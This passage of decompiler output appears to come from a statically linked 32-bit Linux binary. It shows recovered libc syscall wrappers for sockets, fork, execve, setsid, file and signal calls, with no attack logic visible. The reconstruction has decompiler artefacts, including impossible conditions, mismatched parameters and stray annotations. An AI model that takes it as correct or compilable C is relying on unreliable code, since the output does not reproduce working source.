	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;



    Vfffffff0 = Ac;
    Vfffffff4 = 0;
    Vfffffff8 = -536870912;
    edx = -1;
    if(signal(A8, & Vfffffff0, & Vffffffe0) != -1) {
        edx = Vffffffe0;
    }
    return(edx);
}

/*	Procedure: 0x080569FA - 0x080569FB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080569FA()
{



}

/*	Procedure: 0x080569FC - 0x08056A2B
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L080569FC(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  esi;



    syscall(SYSCALL_wait4, 0);
    if(eax < 0) {
        *L08078B14 = ~eax;
        eax = -1;
    }
}

/*	Procedure: 0x08056A2C - 0x08056A71
 *	Argument size: -4
 *	Local size: 16
 *	Save regs size: 4
 */

L08056A2C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffff4 = A8;
    Vfffffff8 = Ac;
    Vfffffffc = A10;
    ecx = & Vfffffff4;
    ebx = 5;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    return(edx);
}

/*	Procedure: 0x08056A72 - 0x08056A73
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056A72()
{



}

/*	Procedure: 0x08056A74 - 0x08056AB9
 *	Argument size: -4
 *	Local size: 16
 *	Save regs size: 4
 */

L08056A74(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffff4 = A8;
    Vfffffff8 = Ac;
    Vfffffffc = A10;
    ecx = & Vfffffff4;
    ebx = 2;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    return(edx);
}

/*	Procedure: 0x08056ABA - 0x08056ABB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056ABA()
{



}

/*	Procedure: 0x08056ABC - 0x08056B01
 *	Argument size: -4
 *	Local size: 16
 *	Save regs size: 4
 */

L08056ABC(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffff4 = A8;
    Vfffffff8 = Ac;
    Vfffffffc = A10;
    ecx = & Vfffffff4;
    ebx = 3;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    return(edx);
}

/*	Procedure: 0x08056B02 - 0x08056B03
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056B02()
{



}

/*	Procedure: 0x08056B04 - 0x08056B43
 *	Argument size: -4
 *	Local size: 12
 *	Save regs size: 4
 */

L08056B04(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffff8 = A8;
    Vfffffffc = Ac;
    ecx = & Vfffffff8;
    ebx = 4;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    return(edx);
}

/*	Procedure: 0x08056B44 - 0x08056B8F
 *	Argument size: -4
 *	Local size: 20
 *	Save regs size: 4
 */

recv(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = A14;
    Vfffffff0 = A8;
    Vfffffff4 = Ac;
    Vfffffff8 = A10;
    ecx = & Vfffffff0;
    ebx = 10;		/* the call for recv */
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    return(edx);
}

/*	Procedure: 0x08056B90 - 0x08056BEC
 *	Argument size: 24
 *	Local size: 24
 *	Save regs size: 12
 */

L08056B90(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffe8 = A8;
    Vffffffec = Ac;
    Vfffffff0 = A10;
    Vfffffff4 = A14;
    Vfffffff8 = A18;
    Vfffffffc = A1c;
    ecx = & Vffffffe8;
    ebx = 12;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    eax = edx;
    esp = ebp - 36;
}

/*	Procedure: 0x08056BED - 0x08056BEF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056BED()
{



}

/*	Procedure: 0x08056BF0 - 0x08056C3B
 *	Argument size: -4
 *	Local size: 20
 *	Save regs size: 4
 */

L08056BF0(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = A14;
    Vfffffff0 = A8;
    Vfffffff4 = Ac;
    Vfffffff8 = A10;
    ecx = & Vfffffff0;
    ebx = 9;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    return(edx);
}

/*	Procedure: 0x08056C3C - 0x08056C98
 *	Argument size: 24
 *	Local size: 24
 *	Save regs size: 12
 */

sendto(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffe8 = A8;
    Vffffffec = Ac;
    Vfffffff0 = A10;
    Vfffffff4 = A14;
    Vfffffff8 = A18;
    Vfffffffc = A1c;
    ecx = & Vffffffe8;
    ebx = 11;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    eax = edx;
    esp = ebp - 36;
}

/*	Procedure: 0x08056C99 - 0x08056C9B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056C99()
{



}

/*	Procedure: 0x08056C9C - 0x08056CF0
 *	Argument size: 20
 *	Local size: 20
 *	Save regs size: 8
 */

L08056C9C(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffec = A8;
    Vfffffff0 = Ac;
    Vfffffff4 = A10;
    Vfffffff8 = A14;
    Vfffffffc = A18;
    ecx = & Vffffffec;
    ebx = 14;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    eax = edx;
    esp = ebp - 28;
}

/*	Procedure: 0x08056CF1 - 0x08056CF3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056CF1()
{



}

/*	Procedure: 0x08056CF4 - 0x08056D39
 *	Argument size: -4
 *	Local size: 16
 *	Save regs size: 4
 */

socket(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffff4 = A8;
    Vfffffff8 = Ac;
    Vfffffffc = A10;
    ecx = & Vfffffff4;
    ebx = 1;
    syscall(SYSCALL_socketcall, ecx);
    edx = eax;
    if(edx < 0) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    return(edx);
}

/*	Procedure: 0x08056D3A - 0x08056D42
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056D3A()
{



}

/*	Procedure: 0x08056D43 - 0x08056D43
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056D43()
{



}

/*	Procedure: 0x08056D44 - 0x08056E13
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08056D44(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    ebx = 134641100;
    if(134641100 < 0x80675d0) {
        eax = 4;
        if(134641100 < 0x80675d0) {
            if(4 == 0) {
                goto L08056dc8;
            }
            if(4 > 4) {
                if(4 > 8) {
                    if(4 >= 13) {
                        goto L08056dc8;
                    }
                    *( *L080675CC)(A8, Ac, A10);
                    ebx = 0x80675d0;
                }
                *( *ebx)(A8, Ac, A10);
                ebx = ebx + 4;
            }
        }
        eax = *( *ebx)(A8, Ac, A10);
        ebx = ebx + 4;
        if(ebx < 0x80675d0) {
L08056dc8:
            do {
                *( *ebx)(A8, Ac, A10);
                *( *(ebx + 4))(A8, Ac, A10);
                *( *(ebx + 8))(A8, Ac, A10);
                eax = *( *(ebx + 12))(A8, Ac, A10);
                ebx = ebx + 16;
            } while(ebx < 0x80675d0);
        }
    }
}

/*	Procedure: 0x08056E14 - 0x08056E61
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08056E14(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    L0805E954();
    if(A8 < 0 || *"{" < A8) {
        sprintf(Ac, "Unknown error %d", A8);
        eax = Ac;
    } else {
        eax = L0805E584( *L08078F9C, 1, A8 + 1, *(A8 * 4 + 0x806ae98));
    }
}

/*	Procedure: 0x08056E62 - 0x08056E63
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056E62()
{



}

/*	Procedure: 0x08056E64 - 0x08056E6F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056E64()
{



    return(0x8078b14);
}

/*	Procedure: 0x08056E70 - 0x08057131
 *	Argument size: 12
 *	Local size: 16
 *	Save regs size: 12
 */

L08056E70(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = 0;
    Vfffffff4 = 0;
    ecx = A10;
    if(Vfffffff4 < ecx) {
        ebx = Ac;
        eax = ecx & 31;
        if(Vfffffff4 < ecx) {
            if(eax == 0) {
                goto L08056f44;
            }
            if(eax > 8) {
                if(eax > 16) {
                    if(eax >= 25) {
                        goto L08056f44;
                    }
                    eax = 8;
                    if(ecx <= 8) {
                        eax = A10;
                    }
                    eax = L08057470(A8, ebx, eax);
                    if(eax < 0) {
                        goto L08056ff5;
                    }
                    ebx = ebx + 64;
                    esi = esi + 8;
                    Vfffffff4 = Vfffffff4 + eax;
                }
                edx = A10 - esi;
                eax = 8;
                if(edx <= 8) {
                    eax = edx;
                }
                eax = L08057470(A8, ebx, eax);
                if(eax < 0) {
                    goto L08056ff5;
                }
                ebx = ebx + 64;
                esi = esi + 8;
                Vfffffff4 = Vfffffff4 + eax;
            }
        }
        edx = A10 - esi;
        eax = 8;
        if(edx <= 8) {
            eax = edx;
        }
        eax = L08057470(A8, ebx, eax);
        if(eax >= 0) {
            ebx = ebx + 64;
            esi = esi + 8;
            goto L0805700a;
L08056f44:
            edx = A10 - esi;
            eax = 8;
            if(edx <= 8) {
                eax = edx;
            }
            eax = L08057470(A8, ebx, eax);
            edx = eax;
            if(edx >= 0) {
                ebx = ebx + 64;
                eax = esi + 8;
                Vfffffff4 = Vfffffff4 + edx;
                edx = A10 - eax;
                eax = 8;
                if(edx <= 8) {
                    eax = edx;
                }
                eax = L08057470(A8, ebx, eax);
                edx = eax;
                if(edx >= 0) {
                    ebx = ebx + 64;
                    eax = esi + 16;
                    Vfffffff4 = Vfffffff4 + edx;
                    edx = A10 - eax;
                    eax = 8;
                    if(edx <= 8) {
                        eax = edx;
                    }
                    eax = L08057470(A8, ebx, eax);
                    edx = eax;
                    if(edx >= 0) {
                        ebx = ebx + 64;
                        eax = esi + 24;
                        Vfffffff4 = Vfffffff4 + edx;
                        edx = A10 - eax;
                        eax = 8;
                        if(edx <= 8) {
                            eax = edx;
                        }
                        eax = L08057470(A8, ebx, eax);
                        if(eax >= 0) {
                            goto L08057004;
                        }
                    }
                }
            }
        }
L08056ff5:
        if(*L08078B14 == 38) {
            goto L08057020;
        }
        goto L08057128;
L08057004:
        ebx = ebx + 64;
        esi = esi + 32;
L0805700a:
        Vfffffff4 = Vfffffff4 + eax;
        if(A10 > esi) {
            goto L08056f44;
        }
    }
    eax = Vfffffff4;
    goto L08057128;
L08057020:
    *L08078B14 = 0;
    Vfffffff4 = 0;
    esi = 0;
    ecx = A10;
    if(Vfffffff4 < ecx) {
        eax = ecx & 3;
        if(Vfffffff4 < ecx) {
            if(eax == 0) {
                goto L0805707c;
            }
            if(eax > 1) {
                if(eax > 2) {
                    Vfffffff4 = *(Ac + Vfffffff4 * 8 + 4);
                    esi = 1;
                }
                Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 4);
                esi = esi + 1;
            }
        }
        Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 4);
        esi = esi + 1;
        if(A10 > esi) {
L0805707c:
            do {
                Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 4);
                Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 12);
                Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 20);
                Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 28);
                esi = esi + 4;
            } while(A10 > esi);
        }
    }
    if(Vfffffff4 == 0) {
        eax = 0;
    } else {
        esp = esp - (Vfffffff4 + 3 & 252);
        Vfffffffc = esp;
        Vfffffff0 = Vfffffff4;
        Vfffffff8 = esp;
        esi = 0;
        if(A10 > 0) {
            do {
                ebx = *(Ac + esi * 8 + 4) <= Vfffffff0 ? *(Ac + esi * 8 + 4) : Vfffffff0;
                edi = Vfffffff8;
                L0805652C(edi, *(Ac + esi * 8), ebx);
                Vfffffff8 = edi + ebx;
                if(Vfffffff0 = Vfffffff0 - ebx) {
                    break;
                }
                esi = esi + 1;
            } while(A10 > esi);
        }
        eax = L080573E8(A8, Vfffffffc, Vfffffff4);
    }
L08057128:
    esp = ebp - 28;
}

/*	Procedure: 0x08057132 - 0x08057133
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057132()
{



}

/*	Procedure: 0x08057134 - 0x0805715C
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 4
 */

chdir(A8)
/* unknown */ void  A8;
{



    syscall(SYSCALL_chdir, A8);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x0805715D - 0x0805715F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805715D()
{



}

/*	Procedure: 0x08057160 - 0x08057188
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 4
 */

close(int fd)
/* unknown */ void  A8;
{



    syscall(SYSCALL_close, fd);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08057189 - 0x0805718B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057189()
{



}

/*	Procedure: 0x0805718C - 0x080571B7
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 4
 */

L0805718C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = 63;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x080571B8 - 0x080571E6
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

execve(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    edx = A10;
    syscall(SYSCALL_execve, A10);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x080571E7 - 0x080571E7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080571E7()
{



}

/*	Procedure: 0x080571E8 - 0x0805720B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

fork()
{



    syscall(SYSCALL_fork);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x0805720C - 0x0805722F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

geteuid()
{



    syscall(SYSCALL_geteuid);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08057230 - 0x08057253
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057230()
{



    eax = 20;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08057254 - 0x0805727F
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 4
 */

L08057254(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = 78;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08057280 - 0x080572AE
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

L08057280(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = 54;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x080572AF - 0x080572AF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080572AF()
{



}

/*	Procedure: 0x080572B0 - 0x080572DB
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 4
 */

L080572B0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = 37;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x080572DC - 0x0805730A
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

L080572DC(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = 5;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x0805730B - 0x0805730B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805730B()
{



}

/*	Procedure: 0x0805730C - 0x0805733A
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

L0805730C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = 3;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x0805733B - 0x0805733B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805733B()
{



}

/*	Procedure: 0x0805733C - 0x0805735F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

setsid()
{



    syscall(SYSCALL_setsid);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08057360 - 0x0805738E
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

sigprocmask(int how, Ac, A10)
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    syscall(SYSCALL_sigprocmask, A10);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x0805738F - 0x0805738F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805738F()
{



}

/*	Procedure: 0x08057390 - 0x080573B8
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 4
 */

L08057390(A8)
/* unknown */ void  A8;
{



    eax = 122;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x080573B9 - 0x080573BB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080573B9()
{



}

/*	Procedure: 0x080573BC - 0x080573E4
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 4
 */

unlink(A8)
/* unknown */ void  A8;
{



    syscall(SYSCALL_unlink);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x080573E5 - 0x080573E7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080573E5()
{



}

/*	Procedure: 0x080573E8 - 0x08057416
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

L080573E8(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = 4;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08057417 - 0x08057417
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057417()
{



}

/*	Procedure: 0x08057418 - 0x08057440
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 4
 */

L08057418(A8)
/* unknown */ void  A8;
{



    eax = 27;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08057441 - 0x08057443
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057441()
{



}

/*	Procedure: 0x08057444 - 0x0805746C
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 4
 */

time(A8)
/* unknown */ void  A8;
{



    syscall(SYSCALL_time, A8);
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x0805746D - 0x0805746F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805746D()
{



}

/*	Procedure: 0x08057470 - 0x0805749E
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

L08057470(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = 146;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x0805749F - 0x0805749F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805749F()
{



}

/*	Procedure: 0x080574A0 - 0x080574C4
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

select(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ebx = & A8;
    syscall(SYSCALL_select,);
    if(eax < 0) {
        *L08078B14 = ~eax;
        eax = -1;
    }
}

/*	Procedure: 0x080574C5 - 0x080574C7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080574C5()
{



}

/*	Procedure: 0x080574C8 - 0x08057518
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

signal(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    ebx = A8;
    if(Ac != 0) {
        *(Ac + 12) = !( *(Ac + 11) & 64) ? 0x80575a8 : 0x80575b0;
    }
    syscall(SYSCALL_sigaction);
    ebx = eax;
    if(ebx < 0) {
        *L08078B14 = ~ebx;
        eax = -1;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x08057519 - 0x0805751B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057519()
{



}

/*	Procedure: 0x0805751C - 0x08057553
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L0805751C(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    eax = 72;
    ebx = 0;
    ecx = 0;
    edx = *A8;
    asm("int 0x80");
    edi = eax;
    if(edi < 0) {
        *L08078B14 = ~edi;
        eax = -1;
    } else {
        eax = edi;
    }
}

/*	Procedure: 0x08057554 - 0x08057568
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

exit(short A8)
{



    syscall(SYSCALL_exit, A8);
}

/*	Procedure: 0x08057569 - 0x0805756B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08057569()
{



}

/*	Procedure: 0x0805756C - 0x080575A6
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 0
 */

L0805756C(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  Vfffffffe;



    if(A8 == 0) {
        edx = 4991;
    }
    asm("fnstcw [ebp-0x2]");
    ax = Vfffffffe & 61632;
    Vfffffffe = ax;
    ax = edx & 3903;
    Vfffffffe = ax | Vfffffffe;
    asm("fldcw [ebp-0x2]");
}

stack space not deallocated on return
/*	Procedure: 0x080575A7 - 0x080575AF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080575A7()
{



    esp = esp + 4;
    (restore)eax;
    (restore)ecx;
    (restore)edx;
    asm("popf");
}

stack space not deallocated on return
/*	Procedure: 0x080575B0 - 0x080575BF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080575B0()
{



    esp = esp + 4;
    L08065C54();
    esp = esp + 4;
    (restore)eax;
    (restore)ecx;
    (restore)edx;
    asm("popf");
}

/*	Procedure: 0x080575C0 - 0x08057760
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L080575C0(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    eax = A8;
    edx = Ac;
    esi = A10;
    if(esi >= 4) {
        dh = dl;
        edi = edx;
        edx = edx << 16;
        dx = di;
        if(!(al & 3)) {
            if(*eax == dl) {
                goto L08057758;
            }
            eax = eax + 1;
            if(esi = esi - 1) {
                goto L08057738;
            }
            if(!(al & 3)) {
                if(*eax == dl) {
                    goto L08057758;
                }
                eax = eax + 1;
                if(esi = esi - 1) {
                    goto L08057738;
                }
                if(!(al & 3)) {
                    if(*eax == dl) {
                        goto L08057758;
                    }
                    eax = eax + 1;
                    esi = esi - 1;
                }
            }
        }
        while(esi = esi - 16) {
            ecx = *eax;
            ecx = ecx ^ edx;
            if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
                goto L08057745;
            }
            ecx = *(eax + 4);
            ecx = ecx ^ edx;
            if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
                goto L08057742;
            }
            ecx = *(eax + 8);
            ecx = ecx ^ edx;
            if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
                goto L0805773f;
            }
            ecx = *(eax + 12);
            ecx = ecx ^ edx;
